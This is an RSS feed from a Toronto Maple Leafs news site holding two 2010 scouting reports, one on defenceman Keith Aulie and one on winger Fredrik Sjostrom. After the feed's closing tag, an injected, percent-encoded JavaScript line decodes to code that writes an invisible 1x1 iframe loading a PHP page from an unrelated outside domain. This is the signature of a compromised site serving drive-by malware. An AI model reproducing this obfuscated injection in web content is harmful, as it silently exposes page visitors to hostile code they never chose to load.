<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Toronto Maple Leafs News &#187; Scouting Report</title>
	<atom:link href="http://www.leafsnews.com/tag/scouting-report/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.leafsnews.com</link>
	<description>Toronto Maple Leafs News: Leafs news articles, videos, rumors from around the net...up to the minute.</description>
	<lastBuildDate>Sat, 31 Jul 2010 17:16:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Keith Aulie Scouting Report</title>
		<link>http://www.leafsnews.com/2010/01/31/keith-aulie-scouting-report/#utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=keith-aulie-scouting-report</link>
		<comments>http://www.leafsnews.com/2010/01/31/keith-aulie-scouting-report/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 17:34:18 +0000</pubDate>
		<dc:creator>Dan</dc:creator>
				<category><![CDATA[LeafsNews.com]]></category>
		<category><![CDATA[Keith Aulie]]></category>
		<category><![CDATA[Scouting Report]]></category>

		<guid isPermaLink="false">http://www.leafsnews.com/2010/01/31/keith-aulie-scouting-report/</guid>
		<description><![CDATA[2008-09: Was selected to represent Canada at the 2009 World Junior Championships. Though he only recorded one assist, Aulie’s intimidating presence was felt throughout the six-game gold medal run. Aulie is also having his most prolific year in his fourth season with the WHL’s Brandon Wheat Kings, with numbers all career highs. He has also broken [...]]]></description>
			<content:encoded><![CDATA[<p>2008-09: Was selected to represent Canada at the 2009 World Junior Championships. Though he only recorded one assist, Aulie’s intimidating presence was felt throughout the six-game gold medal run. Aulie is also having his most prolific year in his fourth season with the WHL’s Brandon Wheat Kings, with numbers all career highs. He has also broken the 80 PIM mark for the third straight season. Aulie has been a force on the blueline for the playoff-bound Wheat Kings and his great size is coveted at all levels of hockey.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leafsnews.com/2010/01/31/keith-aulie-scouting-report/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fredrik Sjostrom Scouting Report</title>
		<link>http://www.leafsnews.com/2010/01/31/fredrik-sjostrom-scouting-report/#utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=fredrik-sjostrom-scouting-report</link>
		<comments>http://www.leafsnews.com/2010/01/31/fredrik-sjostrom-scouting-report/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 17:32:06 +0000</pubDate>
		<dc:creator>Dan</dc:creator>
				<category><![CDATA[LeafsNews.com]]></category>
		<category><![CDATA[Fredrik Sjostrom]]></category>
		<category><![CDATA[Scouting Report]]></category>

		<guid isPermaLink="false">http://www.leafsnews.com/?p=152668</guid>
		<description><![CDATA[Assets Has a terrific combination of speed and defensive instincts. Is willing to take a hit in order to make a play. Kills penalties very well and can line up on either side of center. Flaws Doesn&#8217;t use his 6-1, 218-pound frame to his advantage nearly enough. Misses a ton of scoring chances due to [...]]]></description>
			<content:encoded><![CDATA[<table>
<tbody>
<tr>
<td>Assets</td>
<td>
<ul>
<li>Has a terrific combination of speed and defensive instincts. Is willing to take a hit in order to make a play. Kills penalties very well and can line up on either side of center.</li>
</ul>
</td>
</tr>
<tr>
<td>Flaws</td>
<td>
<ul>
<li>Doesn&#8217;t use his 6-1, 218-pound frame to his advantage nearly enough. Misses a ton of scoring chances due to questionable hands.</li>
</ul>
</td>
</tr>
<tr>
<td>Career Potential</td>
<td>
<ul>
<li>Defensive winger.</li>
</ul>
</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.leafsnews.com/2010/01/31/fredrik-sjostrom-scouting-report/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 23.235 seconds -->
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>